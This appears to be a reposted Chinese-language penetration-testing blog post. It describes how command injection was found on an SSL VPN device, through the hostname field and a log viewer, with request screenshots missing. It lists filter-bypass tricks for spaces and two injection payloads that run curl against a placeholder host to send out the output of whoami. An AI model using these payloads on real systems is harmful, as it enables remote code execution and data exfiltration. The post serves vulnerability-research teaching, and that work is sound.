免责声明
还在为漏扫什么都扫不到,找不到高质量漏洞只能凑低危、风险提示交差而烦恼吗?本期给大家分享一些漏洞挖掘工作中命令注入漏洞的挖掘思路和技巧,学会之后再也不愁找不到漏洞,废话不多说,上菜。
001 XSS -> RCE
测试目标是一个SSL VPN设备,功能点是修改主机名称,主机名称会显示到首页。经验丰富的朋友很容易就能想到XSS测试,然后漏扫一梭子是吧?没错,存在存储型XSS:
在漏扫没扫到漏洞的情况下,你是否会觉得此处安全了?要是搁以前,我也这么认为的,要不是灵光一现想到这是设备类的,不是单纯的web,我也不会发现命令注入,也就没有这篇文章了。
此处请求提交的数据经过两次url解码后是:{"hostname":"aa"}。
Fuzz时发现响应状态有2类,True和False,False会显示部分错误原因:
-
修改成功时返回True:
-
长度超出范围时返回:
-
包含空格时返回:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
';curl$IFS$9http://xxx/`whoami`;'
'`curl$IFS$9http://xxx/$(whoami)`'
...
002 日志查看 -> RCE
怎么也想不到日志日查看居然也有命令注入,本来是查看日志:
请求数据包:
然后加上命令注入的Payload,root到手:
原文始发于微信公众号(Hack All Sec):无处不在的RCE